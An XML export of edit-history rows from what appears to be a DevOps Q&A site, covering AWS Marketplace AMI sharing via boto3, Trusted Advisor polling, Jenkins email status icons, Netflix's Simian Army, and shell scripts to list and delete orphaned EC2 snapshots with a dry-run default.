procedure (the red button!) in place that you can launch, and which simply restores the backup you should have available.&#xD;&#xA;&#xD;&#xA;  Attention, if there were database updates involved, this backout may not be an option anymore. While things like &quot;backups overlaid&quot; (because of concurrent changes/fixes got applied to production) is another scenario where the red button is no longer available.&#xD;&#xA;&#xD;&#xA;**Easy, no**? &#xD;&#xA;&#xD;&#xA;PS: I leave it to everybody's own judgement if my answer is yes or no DevOps-compliant." ContentLicense="CC BY-SA 3.0" />
  <row Id="1984" PostHistoryTypeId="2" PostId="621" RevisionGUID="992a9243-9555-4c6d-bd83-53061409caa2" CreationDate="2017-03-21T21:21:25.770" UserId="362" Text="Is anyone aware of a way to automate the submission of an AMI to Amazon's Marketplace? I want to take a public AMI and share it to the AWS Marketplace so it can be scanned for listing and then submit the product metadata sheet.&#xD;&#xA;&#xD;&#xA;Our preferred environment is Python, but I didn't see any relevant hooks in the `boto3` library so I'm open to alternatives." ContentLicense="CC BY-SA 3.0" />
  <row Id="1985" PostHistoryTypeId="1" PostId="621" RevisionGUID="992a9243-9555-4c6d-bd83-53061409caa2" CreationDate="2017-03-21T21:21:25.770" UserId="362" Text="Automating submission to Amazon Marketplace" ContentLicense="CC BY-SA 3.0" />
  <row Id="1986" PostHistoryTypeId="3" PostId="621" RevisionGUID="992a9243-9555-4c6d-bd83-53061409caa2" CreationDate="2017-03-21T21:21:25.770" UserId="362" Text="&lt;amazon-web-services&gt;&lt;continuous-deployment&gt;&lt;automation&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1987" PostHistoryTypeId="5" PostId="616" RevisionGUID="f86fccbc-76f8-4351-96c2-6c6d425b6fc5" CreationDate="2017-03-22T08:04:28.453" UserId="13" Comment="added 1 character in body" Text="That's on my backlog but still on early stage, I just surfaced the idea, so here's are my findings so far:&#xD;&#xA;&#xD;&#xA;[Using Trusted Advisor as a Web Service](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html)&#xD;&#xA;&#xD;&#xA;Mainly: &#xD;&#xA;[Poll a Trusted Advisor Check for Status Changes](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html#getcheckstatus)&#xD;&#xA;&#xD;&#xA;This documentation example can be implemented with aws cli with the [`support`](https://docs.aws.amazon.com/cli/latest/reference/support/index.html#cli-aws-support) subset of commands and targetting the 'us-east-1' region, you'll then have to filter on the `region` field in the `TrustedAdvisorResourceDetail` structure part of the list.&#xD;&#xA;&#xD;&#xA;I still didn't had time to write a script to poll the API (I would aim at ruby with the AWS SDK per our usage more than a shell script to group the requests).&#xD;&#xA;&#xD;&#xA;Hope this help getting started even if that's not really a complete answer.&#xD;&#xA;&#xD;&#xA;Courtesy of Romeo Ninov: For a  recap of which options is available for which account type you can check [this][1] site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/premiumsupport/trustedadvisor/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1988" PostHistoryTypeId="2" PostId="622" RevisionGUID="a2cf61ab-61e4-406e-add6-99ed28675b62" CreationDate="2017-03-22T14:15:41.097" UserId="362" Text="I was trying to do something similar (embed build status icons into email notifications) but since our build system is not publicly accessible, I ended up posting the status icons to imgur and referencing those images by storing the URL in variables according to state.&#xD;&#xA;&#xD;&#xA;Here are some snippets from my email template Groovyscript:&#xD;&#xA;&#xD;&#xA;**Defining the URLs:**&#xD;&#xA;```&#xD;&#xA;def images = [:]&#xD;&#xA;images[&quot;SUCCESS&quot;] = &quot;http://i.imgur.com/uXlqCxW.gif&quot;&#xD;&#xA;images[&quot;PASSED&quot;] = &quot;http://i.imgur.com/uXlqCxW.gif&quot;&#xD;&#xA;images[&quot;UNSTABLE&quot;] = &quot;http://i.imgur.com/QkQbxR3.gif&quot;&#xD;&#xA;images[&quot;SKIPPED&quot;] = &quot;http://i.imgur.com/QkQbxR3.gif&quot;&#xD;&#xA;images[&quot;FAILURE&quot;] = &quot;http://i.imgur.com/LUveOg7.gif&quot;&#xD;&#xA;images[&quot;FAILED&quot;] = &quot;http://i.imgur.com/LUveOg7.gif&quot;&#xD;&#xA;images[&quot;ABORTED&quot;] = &quot;http://i.imgur.com/jSdrWWP.gif&quot;&#xD;&#xA;images[&quot;NOT_RUN&quot;] = &quot;http://i.imgur.com/jSdrWWP.gif&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Using the URLs in the email:**&#xD;&#xA;```&#xD;&#xA;&lt;img src=&quot;${images[build.result.toString()]}&quot; /&gt;&#xD;&#xA;```" ContentLicense="CC BY-SA 3.0" />
  <row Id="1989" PostHistoryTypeId="4" PostId="498" RevisionGUID="91eacf00-a98c-46e8-8f91-6e72cce6c117" CreationDate="2017-03-22T16:13:21.550" UserId="47" Comment="improved readability" Text="How to avoid continuous integration-caused instabilities in test environments?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1990" PostHistoryTypeId="2" PostId="623" RevisionGUID="e42d2d49-34c8-4e89-900c-565cb445534a" CreationDate="2017-03-22T16:45:06.300" UserId="736" Text="We end up with a fair amount of AWS EC2 snapshots where the AMI has been deleted, but the snapshot left behind to rot. I'd like a non-manual way of **identifying and deleting** these orphans to save us money and space. &#xD;&#xA;&#xD;&#xA;Ideally I'm thinking a **bash script leveraging the CLI**, but my AWS-fu is weak. I assume someone's done this before but I can't find a script that actually works. &#xD;&#xA;&#xD;&#xA;In the best-case scenario this will also check volumes and clean those as well, but that may be better suited for a second question." ContentLicense="CC BY-SA 3.0" />
  <row Id="1991" PostHistoryTypeId="1" PostId="623" RevisionGUID="e42d2d49-34c8-4e89-900c-565cb445534a" CreationDate="2017-03-22T16:45:06.300" UserId="736" Text="How to clean up orphaned AWS EC2 snapshots?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1992" PostHistoryTypeId="3" PostId="623" RevisionGUID="e42d2d49-34c8-4e89-900c-565cb445534a" CreationDate="2017-03-22T16:45:06.300" UserId="736" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1993" PostHistoryTypeId="5" PostId="623" RevisionGUID="cfa7569a-85ae-4897-a246-e4650b958690" CreationDate="2017-03-22T16:52:32.343" UserId="736" Comment="typo" Text="We end up with a fair amount of AWS EC2 snapshots where the AMI has been deleted, but the snapshot is left behind to rot. I'd like a non-manual way of **identifying and deleting** these orphans to save us money and space. &#xD;&#xA;&#xD;&#xA;Ideally I'm thinking a **bash script leveraging the CLI**, but my AWS-fu is weak. I assume someone's done this before but I can't find a script that actually works. &#xD;&#xA;&#xD;&#xA;In the best-case scenario this will also check volumes and clean those as well, but that may be better suited for a second question." ContentLicense="CC BY-SA 3.0" />
  <row Id="1994" PostHistoryTypeId="2" PostId="624" RevisionGUID="f66fff16-b37d-400a-942f-651f7f96ea4d" CreationDate="2017-03-22T17:43:00.713" UserId="201" Text="# Snapshot Permissions&#xD;&#xA;&#xD;&#xA;Boto3 has a function that allows you to create volume permissions, which is what [AMI Sharing with AWS Marketplace][2] requires you to do. `snapshot.modify_attribute` will allow you to share your AMI with the marketplace account like so (you can also use a JSON representation if you prefer, it's in the docs):&#xD;&#xA;&#xD;&#xA;    response = snapshot.modify_attribute(&#xD;&#xA;        Attribute = 'createVolumePermission',&#xD;&#xA;        OperationType = 'add',&#xD;&#xA;        UserIds = [&#xD;&#xA;            '679593333241', # Marketplace user ID&#xD;&#xA;        ]&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;There is also an [official API function][1] that will help you achieve the permissions requirement listed in [AMI Sharing with AWS Marketplace][2] if you decide to migrate from boto3 (or if a reader isn't using boto3). If your AMI is private, you need only make this API call:&#xD;&#xA;&#xD;&#xA;    https://ec2.amazonaws.com/?Action=ModifySnapshotAttribute&#xD;&#xA;    &amp;SnapshotId=ID_HERE&#xD;&#xA;    &amp;CreateVolumePermission.Add.1.UserId=679593333241&#xD;&#xA;    &amp;AUTHPARAMS&#xD;&#xA;&#xD;&#xA;This should add the permission that the marketplace needs to access your AMI. As for replacing `ID_HERE` with the snapshot's ID, you can do that with boto3 by using your snapshot object's [snapshot_id][3] property `snapshot.snapshot_id` before making the API call (that being said, there's little reason for you to use this API since you have to use boto3 anyways).&#xD;&#xA;&#xD;&#xA;# Product Metadata&#xD;&#xA;&#xD;&#xA;You should be able to use the [relevant ServiceCatalog functions][4] in boto3 such as `create_product` to upload product metadata. There are also [equivalent official API functions][5] (this one is just CreateProduct, they're not listed in a way that allows me to link to them nicely). It's worth noting that the official API only accepts JSON whereas boto3 will generate the JSON itself. Which one is more useful to you depends on how your data is structured in your product metadata file(s). Since I don't know that I can't directly write the code to do it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html&#xD;&#xA;  [2]: https://aws.amazon.com/marketplace/help/seller-building-AMIs?ref=help_ln_sibling#topic4&#xD;&#xA;  [3]: http://boto3.readthedocs.io/en/latest/reference/services/ec2.html#EC2.Snapshot.snapshot_id&#xD;&#xA;  [4]: http://boto3.readthedocs.io/en/latest/reference/services/servicecatalog.html&#xD;&#xA;  [5]: http://docs.aws.amazon.com/servicecatalog/latest/dg/API_CreateProduct.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1995" PostHistoryTypeId="2" PostId="625" RevisionGUID="b0399444-fc4d-4397-8243-fb8eca326f0d" CreationDate="2017-03-22T18:11:09.197" UserId="57" Text="Here is one script which can help you find orphaned snapshots&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(echo $(ec2-describe-snapshots --region eu-west-1 | grep SNAPSHOT | awk '{print $2}' | sort | uniq) | tr ' ' '\n') &lt;(echo $(ec2-describe-images --region eu-west-1 | grep BLOCKDEVICEMAPPING | awk '{print $3}' | sort | uniq) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;(from [here][1])&#xD;&#xA;&#xD;&#xA;Also you can check this article from [serverfault][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robertsindall.co.uk/blog/how-to-clean-up-amazon-ebs-volumes-and-snapshots/&#xD;&#xA;  [2]: http://serverfault.com/questions/611831/find-all-snapshots-created-by-ami-where-ami-is-deleted" ContentLicense="CC BY-SA 3.0" />
  <row Id="1996" PostHistoryTypeId="5" PostId="625" RevisionGUID="540d0f5d-4622-494b-80b3-7bcb5053a445" CreationDate="2017-03-22T18:20:15.493" UserId="57" Comment="add comment about region" Text="Here is one script which can help you find orphaned snapshots&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(echo $(ec2-describe-snapshots --region eu-west-1 | grep SNAPSHOT | awk '{print $2}' | sort | uniq) | tr ' ' '\n') &lt;(echo $(ec2-describe-images --region eu-west-1 | grep BLOCKDEVICEMAPPING | awk '{print $3}' | sort | uniq) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;(from [here][1])&#xD;&#xA;&#xD;&#xA;Also you can check this article from [serverfault][2]&#xD;&#xA;&#xD;&#xA;P.S. Of course you can change the region to reflect your&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robertsindall.co.uk/blog/how-to-clean-up-amazon-ebs-volumes-and-snapshots/&#xD;&#xA;  [2]: http://serverfault.com/questions/611831/find-all-snapshots-created-by-ami-where-ami-is-deleted" ContentLicense="CC BY-SA 3.0" />
  <row Id="1999" PostHistoryTypeId="2" PostId="626" RevisionGUID="08894d1a-628d-4abb-ae30-61012d94f3ca" CreationDate="2017-03-22T22:28:01.367" UserId="40" Text="Some additions to your own answer to this question ...&#xD;&#xA;&#xD;&#xA;### Additional monkeys&#xD;&#xA;&#xD;&#xA;The article about &quot;[How chaos boosts performance][1]&quot; describes a few more of these monkeys, i.e.:&#xD;&#xA;&#xD;&#xA;&gt; - **10-18 Monkey**: finds configuration and run time problems in instances that serve customers in multiple regions.&#xD;&#xA;&gt; - **Chaos Kong**: simulates an outage of an Amazon region.&#xD;&#xA;&#xD;&#xA;### Setup and use your own Monkeys.&#xD;&#xA;&#xD;&#xA;Head over to github to [get in touch with the Simian Army][2]. Here is a quote of what you'll find there:&#xD;&#xA;&#xD;&#xA;&gt; Simian Army consists of services (Monkeys) in the cloud for generating various kinds of failures, detecting abnormal conditions, and testing our ability to survive them. The goal is to keep our cloud safe, secure, and highly available. More details can be found at [this blog][3].&#xD;&#xA;&#xD;&#xA;&gt; Currently the simians include [Chaos Monkey][4], [Janitor Monkey][5], and [Conformity Monkey][6].&#xD;&#xA;&#xD;&#xA;&gt; Refer to the [Quick start guide][7] to get started setting up and using the Monkeys.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://acutest.co.uk/blog/chaos-monkey&#xD;&#xA;  [2]: https://github.com/Netflix/SimianArmy/wiki&#xD;&#xA;  [3]: http://techblog.netflix.com/2011/07/netflix-simian-army.html&#xD;&#xA;  [4]: https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey&#xD;&#xA;  [5]: https://github.com/Netflix/SimianArmy/wiki/Janitor-Home&#xD;&#xA;  [6]: https://github.com/Netflix/SimianArmy/wiki/Conformity-Home&#xD;&#xA;  [7]: https://github.com/Netflix/SimianArmy/wiki/Quick-Start-Guide" ContentLicense="CC BY-SA 3.0" />
  <row Id="2000" PostHistoryTypeId="5" PostId="626" RevisionGUID="3d3a2648-1279-4f64-8730-7d96d397789b" CreationDate="2017-03-22T22:35:22.140" UserId="40" Comment="added 54 characters in body" Text="Some additions to your own answer to this question ...&#xD;&#xA;&#xD;&#xA;### Additional monkeys&#xD;&#xA;&#xD;&#xA;The article about &quot;[How chaos boosts performance][1]&quot; describes a few more of these monkeys, i.e.:&#xD;&#xA;&#xD;&#xA;&gt; - **10-18 Monkey**: finds configuration and run time problems in instances that serve customers in multiple regions.&#xD;&#xA;&gt; - **Chaos Kong**: simulates an outage of an Amazon region.&#xD;&#xA;&#xD;&#xA;### Setup and use your own Monkeys.&#xD;&#xA;&#xD;&#xA;Head over to github to [get in touch with the Simian Army][2] (same link as the very first link in your own answer). Here is a quote of what you'll find there:&#xD;&#xA;&#xD;&#xA;&gt; Simian Army consists of services (Monkeys) in the cloud for generating various kinds of failures, detecting abnormal conditions, and testing our ability to survive them. The goal is to keep our cloud safe, secure, and highly available. More details can be found at [this blog][3].&#xD;&#xA;&#xD;&#xA;&gt; Currently the simians include [Chaos Monkey][4], [Janitor Monkey][5], and [Conformity Monkey][6].&#xD;&#xA;&#xD;&#xA;&gt; Refer to the [Quick start guide][7] to get started setting up and using the Monkeys.&#xD;&#xA;&#xD;&#xA;If you dig deep enough within those Github links (i.e within the [Support][8] link), you'll also find a link to join the [SimianArmy Google Group][9].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://acutest.co.uk/blog/chaos-monkey&#xD;&#xA;  [2]: https://github.com/Netflix/SimianArmy/wiki&#xD;&#xA;  [3]: http://techblog.netflix.com/2011/07/netflix-simian-army.html&#xD;&#xA;  [4]: https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey&#xD;&#xA;  [5]: https://github.com/Netflix/SimianArmy/wiki/Janitor-Home&#xD;&#xA;  [6]: https://github.com/Netflix/SimianArmy/wiki/Conformity-Home&#xD;&#xA;  [7]: https://github.com/Netflix/SimianArmy/wiki/Quick-Start-Guide&#xD;&#xA;  [8]: https://github.com/Netflix/SimianArmy/wiki/Support&#xD;&#xA;  [9]: http://groups.google.com/group/simianarmy-users" ContentLicense="CC BY-SA 3.0" />
  <row Id="2001" PostHistoryTypeId="5" PostId="626" RevisionGUID="806e6124-eeda-4eb4-94cc-57973a4ca173" CreationDate="2017-03-22T22:43:15.010" UserId="40" Comment="added 149 characters in body" Text="Some additions to your own answer to this question ...&#xD;&#xA;&#xD;&#xA;### Additional monkeys&#xD;&#xA;&#xD;&#xA;The article about &quot;[How chaos boosts performance][1]&quot; describes a few more of these monkeys, i.e.:&#xD;&#xA;&#xD;&#xA;&gt; - **10-18 Monkey**: finds configuration and run time problems in instances that serve customers in multiple regions.&#xD;&#xA;&gt; - **Chaos Kong**: simulates an outage of an Amazon region.&#xD;&#xA;&#xD;&#xA;### Setup and use your own Monkeys.&#xD;&#xA;&#xD;&#xA;Head over to github to [get in touch with the Simian Army][2] (same link as the very first link in your own answer). Here is a quote of what you'll find there:&#xD;&#xA;&#xD;&#xA;&gt; Simian Army consists of services (Monkeys) in the cloud for generating various kinds of failures, detecting abnormal conditions, and testing our ability to survive them. The goal is to keep our cloud safe, secure, and highly available. More details can be found at [this blog][3].&#xD;&#xA;&#xD;&#xA;&gt; Currently the simians include [Chaos Monkey][4], [Janitor Monkey][5], and [Conformity Monkey][6].&#xD;&#xA;&#xD;&#xA;&gt; Refer to the [Quick start guide][7] to get started setting up and using the Monkeys.&#xD;&#xA;&#xD;&#xA;You can even [configure][8] the monkyes, so that they fit your business needs.&#xD;&#xA;&#xD;&#xA;If you dig deep enough within those Github links (i.e within the [Support][9] link), you'll also find a link to join the [SimianArmy Google Group][10].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://acutest.co.uk/blog/chaos-monkey&#xD;&#xA;  [2]: https://github.com/Netflix/SimianArmy/wiki&#xD;&#xA;  [3]: http://techblog.netflix.com/2011/07/netflix-simian-army.html&#xD;&#xA;  [4]: https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey&#xD;&#xA;  [5]: https://github.com/Netflix/SimianArmy/wiki/Janitor-Home&#xD;&#xA;  [6]: https://github.com/Netflix/SimianArmy/wiki/Conformity-Home&#xD;&#xA;  [7]: https://github.com/Netflix/SimianArmy/wiki/Quick-Start-Guide&#xD;&#xA;  [8]: https://github.com/Netflix/SimianArmy/wiki/Configuration&#xD;&#xA;  [9]: https://github.com/Netflix/SimianArmy/wiki/Support&#xD;&#xA;  [10]: http://groups.google.com/group/simianarmy-users" ContentLicense="CC BY-SA 3.0" />
  <row Id="2002" PostHistoryTypeId="2" PostId="627" RevisionGUID="68ace905-5a04-4367-9b1b-fce4a43c84d3" CreationDate="2017-03-23T05:22:17.267" UserId="228" Text="[Here][1] is a GitHub Gist code snippet of exactly what you are asking for by Daniil Yaroslavtsev. &#xD;&#xA;&#xD;&#xA;It uses the list of all images and their snapshots and compares the IDs to list of all snapshot IDs. Whatever remains are the orphaned ones. The code works in the same principle as the answer above, but is better formatted and slightly more readable. &#xD;&#xA;&#xD;&#xA;If I wrote it, I probably would take advantage of the default json output and the jq utility to query it. You can write json queries even into the ec2 API itself with --query option if you are familiar with jq. Here is a [link][2] to API reference and few examples.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/daniilyar/45d3fc1867bf435d8c21e9e4864ff472&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-snapshots.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2003" PostHistoryTypeId="5" PostId="627" RevisionGUID="a6e3d452-307d-4fe4-985f-7d2fe8a9e19e" CreationDate="2017-03-23T05:31:34.783" UserId="228" Comment="added 22 characters in body" Text="[Here][1] is a GitHub Gist code snippet of exactly what you are asking for by Daniil Yaroslavtsev. &#xD;&#xA;&#xD;&#xA;It uses the list of all images and their snapshots and compares the IDs to list of all snapshot IDs. Whatever remains are the orphaned ones. The code works in the same principle as the answer above, but is better formatted and slightly more readable. &#xD;&#xA;&#xD;&#xA;The code takes advantage of the JSON query with&#xD;&#xA; `--query Snapshots[*].SnapshotId` option (you can also use jq command line utility for that, it is the same JSON query language). The formats the output as text with `--output text`. Here is a [link][2] to API reference and few examples.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/daniilyar/45d3fc1867bf435d8c21e9e4864ff472&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-snapshots.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2004" PostHistoryTypeId="5" PostId="627" RevisionGUID="ef3b3607-3733-49ab-866a-9daf45035d63" CreationDate="2017-03-23T05:44:01.247" UserId="228" Comment="added 84 characters in body" Text="[Here][1] is a GitHub Gist code snippet of exactly what you are asking for by Daniil Yaroslavtsev. &#xD;&#xA;&#xD;&#xA;It uses the list of all images and their snapshots and compares the IDs to list of all snapshot IDs. Whatever remains are the orphaned ones. The code works in the same principle as the answer above, but is better formatted and slightly more readable. &#xD;&#xA;&#xD;&#xA;The code takes advantage of the JSON query with&#xD;&#xA; `--query Snapshots[*].SnapshotId` option (you can also use jq command line utility for that, it is the same JSON query language). The formats the output as text with `--output text`. Here is a [link][2] to API reference and few examples. It is slightly more elegant than a long chain of grep/awk/sort/uniq/tr pipes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gist.github.com/daniilyar/45d3fc1867bf435d8c21e9e4864ff472&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-snapshots.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2005" PostHistoryTypeId="5" PostId="625" RevisionGUID="cd993c6c-9c77-4179-8dcb-404814486975" CreationDate="2017-03-23T07:34:14.100" UserId="57" Comment="add improved code sample" Text="Here is one script which can help you find orphaned snapshots&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(echo $(ec2-describe-snapshots --region eu-west-1 | grep SNAPSHOT | awk '{print $2}' | sort | uniq) | tr ' ' '\n') &lt;(echo $(ec2-describe-images --region eu-west-1 | grep BLOCKDEVICEMAPPING | awk '{print $3}' | sort | uniq) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;(from [here][1])&#xD;&#xA;&#xD;&#xA;Also you can check this article from [serverfault][2]&#xD;&#xA;&#xD;&#xA;P.S. Of course you can change the region to reflect your&#xD;&#xA;&#xD;&#xA;P.P.S. Here is updated code:&#xD;&#xA;&#xD;&#xA;     comm -23 \&#xD;&#xA;    &lt;(echo $(aws ec2 describe-snapshots --region eu-west-|awk '/SNAPSHOT/ {print $2}' | sort -u) | tr ' ' '\n') \&#xD;&#xA;    &lt;(echo $(aws ec2 describe-images --region eu-west-1 |  awk '/BLOCKDEVICEMAPPING/ {print $3}' | sort -u) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;The sample exaplanations what the code do is:&#xD;&#xA;&#xD;&#xA;    echo $(aws ec2 describe-snapshots --region eu-west-|awk '/SNAPSHOT/ {print $2}' | sort -u) | tr ' ' '\n')&#xD;&#xA;send to STDOUT the list of snapshots. this construction:&#xD;&#xA;&#xD;&#xA;    &lt;(...)&#xD;&#xA;&#xD;&#xA;create virtual temporary filehandler to make comm commend read from two &quot;files&quot; and compare them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robertsindall.co.uk/blog/how-to-clean-up-amazon-ebs-volumes-and-snapshots/&#xD;&#xA;  [2]: http://serverfault.com/questions/611831/find-all-snapshots-created-by-ami-where-ami-is-deleted" ContentLicense="CC BY-SA 3.0" />
  <row Id="2006" PostHistoryTypeId="5" PostId="625" RevisionGUID="f3df89a0-2947-4b8c-9c69-1ce6ee9e9435" CreationDate="2017-03-23T08:44:06.510" UserId="13" Comment="Fixed region and some typo" Text="Here is one script which can help you find orphaned snapshots&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(echo $(ec2-describe-snapshots --region eu-west-1 | grep SNAPSHOT | awk '{print $2}' | sort | uniq) | tr ' ' '\n') &lt;(echo $(ec2-describe-images --region eu-west-1 | grep BLOCKDEVICEMAPPING | awk '{print $3}' | sort | uniq) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;(from [here][1])&#xD;&#xA;&#xD;&#xA;Also you can check this article from [serverfault][2]&#xD;&#xA;&#xD;&#xA;P.S. Of course you can change the region to reflect your&#xD;&#xA;&#xD;&#xA;P.P.S. Here is updated code:&#xD;&#xA;&#xD;&#xA;     comm -23 \&#xD;&#xA;    &lt;(echo $(aws ec2 describe-snapshots --region eu-west-1 |awk '/SNAPSHOT/ {print $2}' | sort -u) | tr ' ' '\n') \&#xD;&#xA;    &lt;(echo $(aws ec2 describe-images --region eu-west-1 |  awk '/BLOCKDEVICEMAPPING/ {print $3}' | sort -u) | tr ' ' '\n') | tr '\n' ' '&#xD;&#xA;&#xD;&#xA;The sample exaplanations what the code do is:&#xD;&#xA;&#xD;&#xA;    echo $(aws ec2 describe-snapshots --region eu-west-1 | awk '/SNAPSHOT/ {print $2}' | sort -u) | tr ' ' '\n')&#xD;&#xA;&#xD;&#xA;send to STDOUT the list of snapshots. this construction:&#xD;&#xA;&#xD;&#xA;    &lt;(...)&#xD;&#xA;&#xD;&#xA;create virtual temporary filehandler to make `comm` command read from two &quot;files&quot; and compare them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robertsindall.co.uk/blog/how-to-clean-up-amazon-ebs-volumes-and-snapshots/&#xD;&#xA;  [2]: http://serverfault.com/questions/611831/find-all-snapshots-created-by-ami-where-ami-is-deleted" ContentLicense="CC BY-SA 3.0" />
  <row Id="2007" PostHistoryTypeId="2" PostId="628" RevisionGUID="55d315b1-8b69-4c01-9377-83ebfd939d75" CreationDate="2017-03-23T10:46:19.017" UserId="13" Text="Largely inspired by the blog posts and gist already linked in the other answers, here is my take to the problem.&#xD;&#xA;&#xD;&#xA;I did use some convoluted [JMESpath](http://jmespath.org/) functions to get a list of snapshots and not require `tr`.&#xD;&#xA;&#xD;&#xA;*Disclaimer*: Use at your **own risks**, I did my best to avoid any problem and keep sane defaults, but I won't take any blame if it cause problem to you.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # remove x if you don't want to see the commands&#xD;&#xA;    set -ex&#xD;&#xA;    &#xD;&#xA;    # Some variable initialisation with sane defaults&#xD;&#xA;    DRUN='--dry-run'&#xD;&#xA;    DO_DELETE=${1:-'no'}&#xD;&#xA;    REGION=${2:-'eu-west-1'}&#xD;&#xA;    ACCOUNTID=${3:-'self'}&#xD;&#xA;    &#xD;&#xA;    # Get two temporary files&#xD;&#xA;    SNAP_FILE=$(mktemp)&#xD;&#xA;    IMAGE_FILE=$(mktemp)&#xD;&#xA;    &#xD;&#xA;    # Get the snapshot list and the volume list&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-snapshots --owner-ids &quot;$ACCOUNTID&quot; --query 'join(`\n`,Snapshots[*].SnapshotId)' --output text &gt; &quot;$SNAP_FILE&quot;&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-images --owners &quot;$ACCOUNTID&quot; --filters Name=state,Values=available --query 'Images[*].BlockDeviceMappings[*].Ebs.SnapshotId' --output text &gt; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if the outputed command should be dry-run (default) or not&#xD;&#xA;    if [ &quot;$DO_DELETE&quot; = &quot;IAMSURE&quot; ]&#xD;&#xA;    then&#xD;&#xA;     DRUN=''&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # count each snapshot id, decrease when a volume reference it, print delete command for those with no volumes&#xD;&#xA;    awk -v REGION=&quot;$REGION&quot; -v DRUN=&quot;$DRUN&quot; '&#xD;&#xA;    FNR==NR { snap[$1]++; next } # increment snapshots and get to next line in file immediately&#xD;&#xA;    &#xD;&#xA;    { snap[$1]-- } # we changed file, decrease the snap counter when a volume reference it&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;     for (s in snap) { # loop over the snapshots&#xD;&#xA;       if (snap[s] &gt; 0) # if we did not decrese under 1 that means there is no volume referencing this snapshot&#xD;&#xA;        cmd=&quot;aws --region &quot; REGION &quot; &quot; DRUN &quot; ec2 delete-snapshot --snapshot-id &quot; s&#xD;&#xA;        print(cmd)&#xD;&#xA;     }&#xD;&#xA;    }&#xD;&#xA;    ' &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    # Clean up the temp files&#xD;&#xA;    rm &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope the script itself is commented enough.&#xD;&#xA;&#xD;&#xA;Default usage (no-params) will list delete commands of orphaned snapshots for the current account and region eu-west-1, extract:&#xD;&#xA;&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-81e5856a&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-95c68c7e&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-a3bf50bd&#xD;&#xA;&#xD;&#xA;You can redirect this output to a file for review before sourcing it to execute all the commands.&#xD;&#xA;&#xD;&#xA;If you want the script to execute the command instead of printing them, replace `print(cmd)` by `system(cmd)`.&#xD;&#xA;&#xD;&#xA;Usage is as follow with a script named `snap_cleaner`:&#xD;&#xA;&#xD;&#xA;for dry-run commands in us-west-1 region&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner no us-west-1&#xD;&#xA;&#xD;&#xA;for usable commands in eu-central-1&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner IAMSURE eu-central-1 &#xD;&#xA;&#xD;&#xA;A third parameter can be used to access another account (I do prefer to switch role to another account before)." ContentLicense="CC BY-SA 3.0" />
